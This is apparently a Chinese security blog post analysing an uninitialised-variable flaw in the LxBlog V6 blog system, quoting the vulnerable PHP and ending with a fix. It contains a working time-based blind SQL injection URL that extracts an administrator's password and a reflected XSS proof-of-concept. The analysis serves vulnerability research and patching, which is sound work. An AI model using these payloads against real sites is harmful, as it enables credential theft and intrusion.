浅析 LxBlog V6 变量未初始化漏洞                
                
                    所属分类:
                        网络安全 / 漏洞分析                    
                    阅读数:
                        128
                    
                        收藏 0赞 0分享
                    
                 
                
                    Lxblog 是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统,强调整站与用户个体间的交互,拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功 能。但是该blog系统在安全性上并不让人满意,本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。 
我们先来分析一下这个漏洞,看代码: 
=======================code================================== 
/user/tag.php 
<?php 
!function_exists('usermsg') && exit('Forbidden'); 
!in_array($type,$item_type) && exit; 
//$type、$item_type均没有初始化 
require_once(R_P.'mod/charset_mod.php'); 
foreach ($_POST as $key => $value) { 
${'utf8_'.$key} = $value; 
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value; 
} 
if ($job == 'add') { 
……//省略部分代码 
}elseif($job=="modify"){ 
$tagnum="{$type}num"; 
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'"); 
//$type带入查询语句操作数据库 
$touchtagdb['uid']!=$admin_uid && exit; 
……//省略部分代码 
=======================code================================== 
当 然,在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 这样一段代码的限制,我们不能直接访问该文件,但是可以通过user_index.php来include这个文件执行,看具体代码 
=======================code================================== 
//user_index.php 
<?php 
……//省略部分代码 
require_once(R_P.'user/global.php'); 
require_once(R_P.'user/top.php'); 
if (!$action) { 
……//省略部分代码 
} elseif ($action && file_exists(R_P."user/$action.php")) { 
$basename = "$user_file?action=$action"; 
require_once(Pcv(R_P."user/$action.php")); 
//通过提交$action=tag即可以调用到存在漏洞的文件 
} 
……//省略部分代码 
=======================code================================== 
看到这个地方,应该已经可以触发该漏洞了,但是依然要考虑到是否会受到register_global的影响,幸好user_index.php在开始的时候包含了user/global.php这个文件,看看这个文件为我们提供了什么 
=======================code================================== 
//user/global.php 
<? 
……//省略部分代码 
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) { 
//'blogdata','comment','itemcp','post','userinfo','global','top' 
//我们提交的action=tag,不在上面这个数组里面,可以触发下面的代码成功绕过register_global的影响 
foreach ($_POST as $_key => $_value) { 
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key]; 
} 
foreach ($_GET as $_key => $_value) { 
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key]; 
} 
} 
……//省略部分代码 
=======================code================================== 
通过上面的分析,我们已经可以成功控制$type和$item_type的值了,但是还要注意两个地方: 
第一个地方是要满足 in_array($type,$item_type),我们通过直接将$type和$item_type[]赋值为相同变量即可 
第二个地方是要注意我们注射的语句 
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'"); 
综合以上,我们构造出来盲注的代码如下 
=======================poc================================== 
//判断uid=1的用户的密码第一位的ASCII值是否大于0 
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/* 
=======================poc================================== 
通 过浏览器返回的时间来判断是否猜解正确,如果是正确的话,浏览器返回的比较慢,近似假死状态,否则返回的就比较正常。使用二分法不断猜解即可。另外,如果 数据库版本较低,可以使用benchmark函数来盲注,具体的expliot就不提供了,有需要的可以自己写个代码跑跑,不是什么难事。 
另外我们看下lxblog的数据库容错代码 
=======================code================================== 
function DB_ERROR($msg) { 
global $db_blogname,$REQUEST_URI; 
$sqlerror = mysql_error(); 
$sqlerrno = mysql_errno(); 
//ob_end_clean(); 
echo"<html><head><title>$db_blogname</title><style type='text/css'>P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}</style><body>\n\n"; 
echo"<table style='TABLE-LAYOUT:fixed;WORD-WRAP: break-word'><tr><td>$msg"; 
echo"<br><br><b>The URL Is</b>:<br>http://$_SERVER[HTTP_HOST]$REQUEST_URI"; 
echo"<br><br><b>MySQL Server Error</b>:<br>$sqlerror ( $sqlerrno )"; 
echo"<br><br><b>You Can Get Help In</b>:<br><a target=_blank href=http://www.phpwind.net><b>http://www.phpwind.net</b></a>"; 
echo"</td></tr></table>"; 
exit; 
} 
=======================code================================== 
函数直接将造成数据库错误的url返回给客户端,对输出未作任何过滤,造成了xss漏洞,下面是我对官方的测试: 
=======================poc================================== 
http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script> 
=======================poc================================== 
Lxblog 的漏洞就分析到这里了,这个漏洞的修补也很简单,只要在数据库查询语句前面将变量$item_type赋值为指定的数组就可以了。网上的PHP程序有不少 都存在类似的漏洞,由于变量没有被正确的初始化,从而导致攻击者可以控制变量被改变程序的流程执行一些非法操作。其实这个问题并不复杂,保持一个良好的编 码习惯,正确初始化类和变量即可杜绝此类漏洞。                                    
             
            
                
                2007年12月网络安全漏洞总结
 声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考
  1.2007-12-11 Microsoft消息队列服务栈溢出漏洞
  综述:
  Microsoft Windows是微软发布的非常流行的操
                    
                    收藏 0赞 0分享
OmniPCX Enterprise存在远程命令注入漏洞
受影响系统:  
Alcatel-Lucent OmniPCX Enterprise <= 7.1  
不受影响系统:  
Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19  
Alcatel-Luc
                    
                    收藏 0赞 0分享
Sun Java jpiexp32.dll对象名称含空指针引用漏洞
受影响系统: 
Sun JRE < 5.0 Update 14 
不受影响系统: 
Sun JRE 5.0 Update 14 
描述: 
Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。  
JRE处理畸
                    
                    收藏 0赞 0分享
InterBase和Firebird远程栈缓冲区溢出漏洞
受影响系统: 
Borland InterBase WI-V8.1.0.257 
Borland InterBase WI-V8.0.0.123 
Borland InterBase WI-V7.5.1.80 
Borland InterB
                    
                    收藏 0赞 0分享
IE 存在document.open()方式地址欺骗漏洞
受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft
                    
                    收藏 0赞 0分享
Microsoft IE onunload事件地址栏欺骗漏洞
受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft Internet Ex
                    
                    收藏 0赞 0分享
F2blog XMLRPC 上传任意文件漏洞
刚从官方下载的最新版:F2blog-v1.2_build_03.01_full
存在漏洞文件:xmlrpc.php,
影响:可上传任意文件到服务器。
原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
                    
                    收藏 0赞 0分享
FTP客户端目录遍历漏洞可向任意位置写文件
FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。  
    受影
                    
                    收藏 0赞 0分享
                 查看更多